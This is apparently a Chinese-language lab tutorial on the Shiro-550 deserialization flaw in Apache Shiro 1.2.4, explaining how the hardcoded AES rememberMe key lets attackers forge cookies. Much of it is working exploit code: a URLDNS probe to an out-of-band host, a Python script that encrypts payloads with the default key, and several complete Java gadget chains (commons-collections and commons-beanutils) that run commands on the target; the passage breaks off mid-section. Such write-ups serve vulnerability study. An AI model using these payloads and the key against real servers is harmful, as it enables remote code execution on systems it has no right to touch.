Shiro-550反序列化漏洞分析

🌸 环境配置

代码下载地址:https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4

下载完成之后,需要修改一下pom文件:

修改一下红色框中的配置。然后配置一下tomcat

点击部署,然后点击“➕”,点击“工作”:

选择红色框中的web,然后点击应用,确定即可。配置完成之后,点击debug,出现下面的界面:

🌸 利用版本

shiro <= 1.2.4

🌸 漏洞原理

首先我们先看看web界面:

在登陆的时候,可以发现存在一个remember me的功能,就是相当于后续登陆的免密登陆操作!

勾选这个remember me功能,尝试登陆,然后抓取数据包!

可以看到,当登陆的时候,返回的数据包存在一个Set-Cookie字段,里面存在一个remember字段,整个内容是比较长的!

然后看到后续的请求数据包中,都会携带这个cookie

这个Cookie其实就是身份凭证信息,正常来说Cookie都是比较短的,当比较长的时候,一般都是存在一些身份凭证的信息。

接下来尝试在源码中去找rememberme相关的类:

大概就找到了上面的几个相关的类!CookieRememberMeManager肯定是和Cookie中的Remember Me相关的类了!先看看这个类:

在这个类中找到了一个getRememberedSerializedIdentity的方法,看名字似乎就是获取已经“记住的、序列化的实体/身份”。

在这个方法中,进行了base64解码!(确实我们在burpsuite中看到RememberMe的值,确实像是base64编码的),接下来我们尝试看看谁调用了这个方法!因为base64解码之后肯定还有后续的操作!

于是我们在AbstractRememberMeManager类中的getRememberedPrincipals方法中找到了调用!

public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {PrincipalCollection principals = null;try {byte[] bytes = getRememberedSerializedIdentity(subjectContext);//SHIRO-138 - only call convertBytesToPrincipals if bytes exist:if (bytes != null && bytes.length > 0) {principals = convertBytesToPrincipals(bytes, subjectContext);}} catch (RuntimeException re) {principals = onRememberedPrincipalFailure(re, subjectContext);}return principals;
}

这个方法的含义大概就是“获取已经记住的身份”。首先就是调用了getRememberedSerializedIdentity方法,来进行base64解码,获取到解码后的数据,然后经过了if条件,又调用了convertBytesToPrincipals方法!尝试跟进到这个方法!

在这个方法中,我们可以发现这个方法中先去调用了getCipherService方法,过if条件之后,调用了decrypt方法,进行了解密!最后return 反序列化的结果!

到这里的话,整个过程似乎也就清晰了!先进行了base64解码,然后进行解密,最后进行反序列化操作。

跟进到decrypt方法中进行查看:

protected byte[] decrypt(byte[] encrypted) {byte[] serialized = encrypted;CipherService cipherService = getCipherService();if (cipherService != null) {ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());serialized = byteSource.getBytes();}return serialized;
}

发现该方法中,调用了getCipherService()方法,从方法的名字上来看,似乎这就是一个加密服务。跟进这个方法看一下:

似乎也没什么具体的代码,返回了一个cipherService

看起来就是一个加密的服务,后面通过if条件之后,又再次调用了decrypt方法,这一次中有了实参。一个是加密的字符串,第二个参数是方法getDecryptionCipherKey,看名字也是比较清晰,就是获取了解密的密钥!跟进到这个方法中进行查看!

猜的没错就是获取了加密的密钥,在这个方法的前后发现了set方法:

下面的这个方法是设置加密密钥!所以我们可以看看谁调用过,并且传递了key

于是我们便找到了这个方法!源码如下:

public void setCipherKey(byte[] cipherKey) {//Since this method should only be used in symmetric ciphers//(where the enc and dec keys are the same), set it on both:setEncryptionCipherKey(cipherKey);setDecryptionCipherKey(cipherKey);
}

通过这个setCipherKey方法,设置了加密和解密的密钥!密钥是一样的,所以采用的就是对称加密。继续向上找看看谁调用过这个方法!

发现在AbstractRememberMeManager类中的构造器,初始化调用了这个方法!并且传递的参数是一个常量!跟进到定义处!(同时上面的AesCipherService方法,也提示了我们采用的加密方式是AES加密)

在定义处,发现AES加解密的密钥居然被固定了。这便是整个漏洞的根本原因所在!

再次回顾shiro550漏洞的原理,便是AES加密的key被硬编码在了源码中!所以攻击者可以构造一个序列化的字符串,然后经过AES加密,base64编码,最终将payload作为Cookie中的rememberme字段的参数值,发送到服务器,当服务器收到payload的时候,服务器便会进行base64解码,AES解码,最后将其进行反序列化操作,从而执行了命令执行!

🌸 URLDNS链利用

既然上面已经是对整个过程比较清晰了,所以我们就可以先利用URLDNS链进行分析利用!直接将URLDNS链的payload拿过来尝试利用:

package org.y4y17;import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;public class URLDNS {public static void main(String[] args) throws NoSuchFieldException, IOException, IllegalAccessException, ClassNotFoundException {HashMap<URL,Integer> hashMap = new HashMap<URL,Integer>();URL url = new URL("http://hvglmw9fk7epzqg930hrcvogs7y0m5au.oastify.com");//绕过put时,hashCode=-1,此时需要通过反射去改变hashCode的参数值不为-1,然后再putClass urlClass = URL.class;Field hashCode = urlClass.getDeclaredField("hashCode");hashCode.setAccessible(true);hashCode.set(url,1);//上面已经通过反射机制将url的hashCode设置为1,避免了在put的时候就发生DNS请求hashMap.put(url,1);System.out.println(url.hashCode());//put完之后,还需要将hashCode改回-1hashCode.set(url,-1);//然后进行序列化操作serialization(hashMap);//序列化完成之后,再进行反序列化操作
//        deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("urldns.ser"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("urldns.ser"));objectInputStream.readObject();objectInputStream.close();}
}

序列化生成文件之后,尝试编写base64AES加密,从而生成payload

import base64
import uuid
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytesdef get_file_data(filename):with open(filename,'rb') as file:data = file.read()return datadef aes_encrypt_data(data,key):BS = AES.block_sizepad = lambda s :s+((BS - len(s) % BS ) * chr(BS - len(s) % BS)).encode()mode = AES.MODE_CBCiv = uuid.uuid4().bytescipher = AES.new(base64.b64decode(key), mode, iv)ciphertext = base64.b64encode(iv+cipher.encrypt(pad(data)))return  ciphertext# Example usage
if __name__ == "__main__":key = "kPH+bIxk5D2deZiIxcaaaA=="  # Generate a random 16-byte AES keyfile_path = "urldns.ser"  # Replace with your file path data = get_file_data(filename=file_path)payload = aes_encrypt_data(data=data,key=key)print(payload)

利用Burpsuite平台进行测试DNS请求:

生成序列化文件之后,然后利用python读取序列化文件生成payload即可:

生成payload,然后替换掉rememberme的参数值!(这里需要注意的是,也需要将JSESSIONID删掉,他是一个身份凭证的验证信息。)

之后改成我们的payload,重放数据包!

BurpSuite收到了DNS请求。

🌸 RCE
🍂 cc6+TemplatesImpl

需要注意的是:shiro原生是没cc依赖的! 所以整个cc链子就打不了!

既然上面已经通过URLDNS链,证明了整个链子的可行性。但是我们还是想着能够真正的RCE,所以,我们进行尝试!首先就是打什么👖的问题,可以看到整个项目中虽然是有cc依赖的!但是其实是打不了的!

具体原因是:maven在编译和运行的时候,只会将complie打进包里面,而test是不会打进来的,所以理论上来说用cc的打shiro是打不了的,只能打cb(这里后续再看这个。)

这里可以用一个插件去分析,暂时没用。主要是看的组长的视频进行学习。

所以本地测试的话,就需要在pom文件中添加cc的依赖:

正常大家都是添加的cc4的依赖,因为在利用的时候cc2链子是可以使用的,所以可以添加cc4的依赖,这并不代表着cc3的依赖就打不了。

所以这里还是先添加了cc3的依赖。进行尝试。把前面的cc6链子的exp拿过来尝试利用:


public class cc6 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);Map<String, Object> map = new HashMap<>();Map lazymap = LazyMap.decorate(map, new ChainedTransformer(new Transformer[]{}));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"aaa");HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");lazymap.remove("aaa");Class<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,chainedTransformer);serialization(map2);
//        unserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("cc66.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void unserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("cc66.bin"));objectInputStream.readObject();objectInputStream.close();}
}

首先还是正常的序列化生成文件,然后利用上面的python来生成exp

依然是通过抓包来替换掉rememberme的参数值!

这里会发现修改了payload,之后,并没有成功弹窗!同时还报错了:

报错的含义是无法加载类:org.apache.commons.collections.functors.InvokerTransformer

这里看到报错的第一行,我们尝试进入到DefaultSerializer.java类中看一下:

而是shiro自己常见的一个类,跟进到ClassResolvingObjectInputStream.java类中(该类继承了ObjectInput Stream类)

在这个类中重写了resolveClass方法:

protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {try {return ClassUtils.forName(osc.getName());} catch (UnknownClassException e) {throw new ClassNotFoundException("Unable to load ObjectStreamClass [" + osc + "]: ", e);}
}

resolveClass是反序列化中用来查找类的方法,在读取序列化流的时候,读取到一个字符串形式的类名,需要通过这个方法来找到对应的Class对象。该类是通过ClassUtilsforname方法来处理的。

我们对比一下ObjectInputStream类中的resolveClass方法!

可以看到一个是通过Classforname方法进行类加载,一个是通过ClassUtils进行类加载。

继续跟进到ClassUtilsforname方法中进行查看!发现他的整个流程是先进行一次加载,如果不存在

(总结一下就是用不了Transformer数组了!)

这里就需要改写一下payload,不能使用数组了。这里采用的是cc6+templatesImpl,进行利用。因为我们如果采用的是调用getRuntimeexec方法的话,就必须使用数组,这类似于cc1等:

package org.y4y17;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.MapTransformer;
import org.apache.commons.collections.map.TransformedMap;import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;public class Main {public static void main(String[] args) throws ClassNotFoundException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {//由于ChainedTransformer类中构造器需要传递的参数是Transformer数组,因此创建一个Transformer数组,将上面的三个InvokerTransformer放进去Transformer[] transformers = new Transformer[]{new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);chainedTransformer.transform(Runtime.class);// 的transform方法}
}

cc1中我们不得不采用transformers数组来递归的执行,直到最后去执行exec方法!因为在cc6中我们可以通过HashMap控制传递的参数,所以可以采用cc6的前面的半条链子,再加上TemplatesImpl链来形成最终的利用链。

这里的代码就直接把TemplatesImpl的链子拿来。后面利用HashMap来控制。也就是cc6的链子:

静态调试一下代码,我们想要通过HashMapreadObject开始调用:

然后调用hash(key)方法!

然后调用了key.hashCode()方法,这里的key就是TiedMapEntryhashCode方法,所以HashMap里面需要存放的key就是TiedMapEntry。然后继续跟进:

TiedMapEntry里面的map就是LazyMapkey的话就是TemplatesImpl

这里就跟进到了LazyMapget方法中!然后factory就需要设置成invokertransformer。然后执行了invokertransformertransform方法:

由于我们传递的key,其实也就是input形参,是TemplatesImpl

同时TemplatesImplnewTransformer方法,所以在new InvokerTransformer方法的时候,传递的方法名就是newTransformer方法,参数为空即可。

整个代码需要在getTransletInstance方法中继续执行,继续跟进:

这里就需要满足_name变量不可以为空,随便设置一个就好了。然后_class变量需要为空!然后进入到defineTransletClasses方法中进行加载:

private void defineTransletClasses()throws TransformerConfigurationException {if (_bytecodes == null) {ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);throw new TransformerConfigurationException(err.toString());}TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {public Object run() {return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try {final int classCount = _bytecodes.length;_class = new Class[classCount];if (classCount > 1) {_auxClasses = new HashMap<>();}for (int i = 0; i < classCount; i++) {_class[i] = loader.defineClass(_bytecodes[i]);final Class superClass = _class[i].getSuperclass();// Check if this is the main classif (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;}else {_auxClasses.put(_class[i].getName(), _class[i]);}}if (_transletIndex < 0) {ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);throw new TransformerConfigurationException(err.toString());}}catch (ClassFormatError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);throw new TransformerConfigurationException(err.toString());}catch (LinkageError e) {ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);throw new TransformerConfigurationException(err.toString());}
}

在上述的代码中需要满足如下条件:

if (superClass.getName().equals(ABSTRACT_TRANSLET)) {_transletIndex = i;
}

所以我们的恶意类就需要继承父类:com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,因此这里就需要修改一下恶意类:

package org.y4y17;import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class exec extends AbstractTranslet{static {try {Runtime.getRuntime().exec("open -a calculator");} catch (IOException e) {throw new RuntimeException(e);}}@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}

整个代码的分析其实就是TemplatesImpl链的原理。

最后的poc

package org.y4y17;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class shiro550_cc3 {public static void main(String[] args) throws Exception {TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("exec2.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);Map<String, Object> map = new HashMap<>();Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");lazymap.remove(templates);Class<? extends Map> aClass = lazymap.getClass();Field factoryFiled = aClass.getDeclaredField("factory");factoryFiled.setAccessible(true);factoryFiled.set(lazymap,invokerTransformer);serialize(map2);
//        unserialize("2.bin");}public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("2.bin"));oos.writeObject(obj);oos.close();}//反序列化数据public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();ois.close();return obj;}
}

通过上述文件生成序列化文件,然后利用python生成一个payload

替换掉rememberme,再次发送数据包:

最终靶机弹出了计算器:

🍂 cc6+InstantiateTransformer

利用cc6+cc3的中的InstantiateTransformer也是可以进行利用的!

利用代码如下:

package org.y4y17;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;public class shiro550_exp1 {public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, TransformerConfigurationException, ClassNotFoundException {//cc2TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);byte[] code = Files.readAllBytes(Paths.get("exec.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);//cc3InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates});//下面回去调用transform方法,这里需要传入参数的Object input,这里的input就是TrAXFilter类的对象//cc6Map<String, Object> map = new HashMap<>();Map lazymap = LazyMap.decorate(map, new ConstantTransformer(1));TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,TrAXFilter.class);    //需要修改一下key的值HashMap<Object, Object> map2 = new HashMap<>();map2.put(tiedMapEntry,"bbb");lazymap.remove(TrAXFilter.class);  //需要修改keyClass<LazyMap> lazyMapClass = LazyMap.class;Field factory = lazyMapClass.getDeclaredField("factory");factory.setAccessible(true);factory.set(lazymap,instantiateTransformer);//        serialization(map2);unserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("shiro2.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void unserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("shiro2.bin"));objectInputStream.readObject();objectInputStream.close();}
}

整个代码变了就是将InvokerTransformer换成了InstantiateTransformer

继续进行分析:

这是InstantiateTransformer中的transform方法!这里的input我们设置为TrAXFilter。从而就可以执行他的构造器,而InstantiateTransformer便是通过输入一个类,获取到相关的构造器,来执行构造器!

那么这里的InstantiateTransformer构造器初始化,就可以设置参数了!就是我们调用TrAXFilter的那一个构造器!

很明显我们要执行的构造器是

public TrAXFilter(Templates templates)  throwsTransformerConfigurationException
{_templates = templates;_transformer = (TransformerImpl) templates.newTransformer();_transformerHandler = new TransformerHandlerImpl(_transformer);_useServicesMechanism = _transformer.useServicesMechnism();
}

因此这里就比较清楚了!写一下InstantiateTransformer

InstantiateTransformer instantiateTransformer = new	InstantiateTransformer(new Class[]{Templates.class},new Object[]{template});

还有一个问题就是InstantiateTransformertransform方法中的input,需要是TrAXFilter,往上看赋值的地方:

其实就是LazyMapget方法中,key就是TrAXFilter,也就是TiedMapEntry中的key就是TrAXFilter。其他的都是一样的了!

同样也是可以执行代码的!

🍂 commons-beanutils(这里当时看了思路自己写的,其实是错的)

正常来说是打commons-beanutils这个依赖。这个是shiro自带的依赖!

我们知道commons-collections是对集合类的增强,而commons-beanutils则是对java bean的增强!

所以我们就需要知道什么是java bean!

🦄 java-bean

创建bean的流程:

  1. 创建一个类,并且继承自java.io.Serializable接口。
  2. 定义bean的属性
  3. 为每一个属性创建一对访问器方法,一个用于设置值,一个用于获取值
  4. 确保遵循JavaBeans命名约定。
package org.y4y17.javaBean;import java.io.Serializable;public class PersonBean implements Serializable {private int age;private String name;public int getAge() {return age;}public void setAge(int age) {this.age = age;}public String getName() {return name;}public void setName(String name) {this.name = name;}
}

其实理解下来就是为每一个属性都设置上 set和get方法!正常我们去访问里面的某一个属性的时候,就是通过get方法进行获取,而设置属性的值就是通过set方法了。

package org.y4y17.javaBean;public class Test {public static void main(String[] args) {PersonBean personBean = new PersonBean("Y4y17",22);System.out.println(personBean.getAge());System.out.println(personBean.getName());}
}

如上代码,我们去访问每一个属性的时候,就会比较麻烦。然而在commons-beanutils中,提供了动态访问的方法:

package org.y4y17.javaBean;import org.apache.commons.beanutils.PropertyUtils;import java.lang.reflect.InvocationTargetException;public class Test {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {PersonBean personBean = new PersonBean("Y4y17",22);System.out.println(PropertyUtils.getProperty(personBean,"age"));System.out.println(PropertyUtils.getProperty(personBean,"name"));}
}

在commons-beanutils中提供的PropertyUtils.getProperty方法中,就可以通过传递参数:要获取属性的对象,属性名;来获取具体的值。

这里就是动态去调用了对应属性的get方法来获取具体的值。所以这里也就出现了动态的代码执行的地方,也就带来了一定的安全漏洞。

这里我们尝试调试一下看一下整个流程:

跟进到PropertyUtils.getProperty方法中,发现又调用了另一个对象的getProperty方法!继续向下跟进:

此时就跟进到了PropertyUtilsBean类中的getProperty方法中!这里就调用了一个getNestedProperty方法,该方法是用于获取嵌套的属性。

继续向下跟进:

然后判断是不是Map和索引,如果是的话,就调用对应的获取属性的方法,否则的话就调用getSimpleProperty方法。

所以我们获取的既不是Map也不是索引,所以说会调用getSimpleProperty方法!

继续往下跟进,发现进入到了这个方法中!

继续往下走,发现他最终获取到了我们传递的这个age的set和get方法!同时还有一个baseName,值为Age,是大写的!这是javabean的命名格式,类似于驼峰命名,会把我们传进去的age,第一个字母转变为大写。

继续往下走:

通过readMethod方法获取到对应的method,可以看到readMethod的值也就是getAge!

继续往下:

就会反射调用。

这里就会对传递进去的对象调用一个符合javabean格式的方法。

然而到这里的话,就可以继续回到整个commons-beanutils中了,在TemplatesImpl类中存在一个getOutputProperties方法:

然而在这个方法中,调用了newTransformer方法!这就是我们之前cc3的链子,代码执行的一部分。所以我们是不是可以通过PropertyUtils.getProperty方法,来调用一个Templates对象的getOutputProperties方法呢!从而调用了newTransformer方法!

于是我们这里可以将cc3的后半段链子拿过来尝试:

package org.y4y17.javaBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.PropertyUtils;import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;public class Test {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException {PersonBean personBean = new PersonBean("Y4y17",22);
//        System.out.println(PropertyUtils.getProperty(personBean,"age"));
//        System.out.println(PropertyUtils.getProperty(personBean,"name"));TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());byte[] code = Files.readAllBytes(Paths.get("exec.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);PropertyUtils.getProperty(templates,"outputProperties");}
}

这里需要设置一下_tfactory变量的参数值,以免报空指针错误。

这便可以成功的执行代码了!继续往上找,因为我们需要进行序列化!我们接下来就看看谁调用getProperty方法:

这里搜索到的调用点并不是很多,挨个看一下,刚好第一个调用如下:

在BeanComparator类中的compare方法中恰好调用了getProperty方法!

public int compare( Object o1, Object o2 ) {if ( property == null ) {// compare the actual objectsreturn comparator.compare( o1, o2 );}try {Object value1 = PropertyUtils.getProperty( o1, property );Object value2 = PropertyUtils.getProperty( o2, property );return comparator.compare( value1, value2 );}catch ( IllegalAccessException iae ) {throw new RuntimeException( "IllegalAccessException: " + iae.toString() );} catch ( InvocationTargetException ite ) {throw new RuntimeException( "InvocationTargetException: " + ite.toString() );}catch ( NoSuchMethodException nsme ) {throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() );} 
}

这里的o1 o2都是可控的!同时看一下构造器:

property也是可控的!

所以我们就可以尝试先继续完善代码:

package org.y4y17.javaBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanToPropertyValueTransformer;
import org.apache.commons.beanutils.PropertyUtils;import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;public class Test {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException {
//        PersonBean personBean = new PersonBean("Y4y17",22);
//        System.out.println(PropertyUtils.getProperty(personBean,"age"));
//        System.out.println(PropertyUtils.getProperty(personBean,"name"));TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());byte[] code = Files.readAllBytes(Paths.get("exec.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);BeanComparator beanComparator = new BeanComparator("outputProperties");beanComparator.compare(templates,null);}
}

这样还是可以正常的执行代码的!

继续找compare!(其实没继续往下看,就是因为当时在学cc链的时候,就有一个调用compare的地方!)当时是在cc4里面的优先队列中的存在着调用!

🦄 回顾 优先队列

在PriorityQueue类中的readObject方法中,曾调用了heapify方法

继续跟进到heapify()方法:

继续跟进到siftDown方法:

在跟进到siftDownUsingComparator方法中:

这里便看到了存在着compare方法的调用!到这里的话也就和上面的链子有链接起来了!comparator变量的值就是BearComparator对象!

所以我们可以直接创建一个优先队列,将其序列化和反序列化,来执行代码。这里通过第二个if里面的comparator.compare()方法来调用到BearComparator对象中的compare()方法!

同时还需要注意的是size的参数值不能是1或者0。因为他要右移1位。反射修改一下即可,队列里面存templates

最终poc:

package org.y4y17.javaBean;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.beanutils.BeanToPropertyValueTransformer;
import org.apache.commons.beanutils.PropertyUtils;import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;public class Test {public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, IOException, ClassNotFoundException {
//        PersonBean personBean = new PersonBean("Y4y17",22);
//        System.out.println(PropertyUtils.getProperty(personBean,"age"));
//        System.out.println(PropertyUtils.getProperty(personBean,"name"));TemplatesImpl templates = new TemplatesImpl();Class<? extends TemplatesImpl> templatesClass = templates.getClass();Field nameFeild = templatesClass.getDeclaredField("_name");nameFeild.setAccessible(true);nameFeild.set(templates,"aaa");Field bytecodesField = templatesClass.getDeclaredField("_bytecodes");bytecodesField.setAccessible(true);Field tfactoryField = templatesClass.getDeclaredField("_tfactory");tfactoryField.setAccessible(true);tfactoryField.set(templates,new TransformerFactoryImpl());byte[] code = Files.readAllBytes(Paths.get("exec2.class"));byte[][] codes = {code};bytecodesField.set(templates,codes);BeanComparator beanComparator = new BeanComparator("outputProperties");
//        beanComparator.compare(templates,null);PriorityQueue priorityQueue = new PriorityQueue(beanComparator);priorityQueue.add(templates);Class<? extends PriorityQueue> aClass = priorityQueue.getClass();Field sizeFiled = aClass.getDeclaredField("size");sizeFiled.setAccessible(true);sizeFiled.set(priorityQueue,2);serialization(priorityQueue);
//        deserialization();}public static void serialization(Object o) throws IOException {ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("shiro_cb.bin"));objectOutputStream.writeObject(o);objectOutputStream.close();}public static void deserialization() throws IOException, ClassNotFoundException {ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("shiro_cb.bin"));objectInputStream.readObject();objectInputStream.close();}
}

最后生成exp:

替换rememberme:

执行之后,也是成功的使得靶机弹出计算器!

🍂 commons-beanutils

现在来说为什么!上面的代码是错的(也不能说是错误的,更加规范的说法:上面的链子并不是commons-beanutils链)而是commons-collections+commons-collections链了(🐶)

因为在之前测试cc链子的时候,添加了cc的依赖。而上面的所谓的“commons-beanuitls”链利用的时候,其实用到了commons-collections依赖。

这里去掉cc的依赖之后,继续使用上面的代码生成序列化文件!在生成payload!进行尝试:

打了之后是没有反应的!看一下报错信息:

无法加载org.apache.commons.collections.comparators.ComparableComparator!正常来说我们使用的是cb,而报错说无法加载cc中的类!(看了组长的视频,说是cc和cb其实很多东西是一样的。)

这里就看一下哪里使用到ComparableComparator:

看到了在实例化BeanComparator的时候,调用了这个类。继续向下看其实发现了还有一个构造器:

该构造器中传递了两个参数,第二个参数是Comparator,所以我们可以尝试自己传递一个Comparator

当然我们传递的这个Comparator,需要继承Comparator接口,同时还要继承Serializable接口!

随便找一个进行尝试:

AttrCompare这个类,看起来是满足的!所以我们尝试传递这个对象。

修改代码如下:

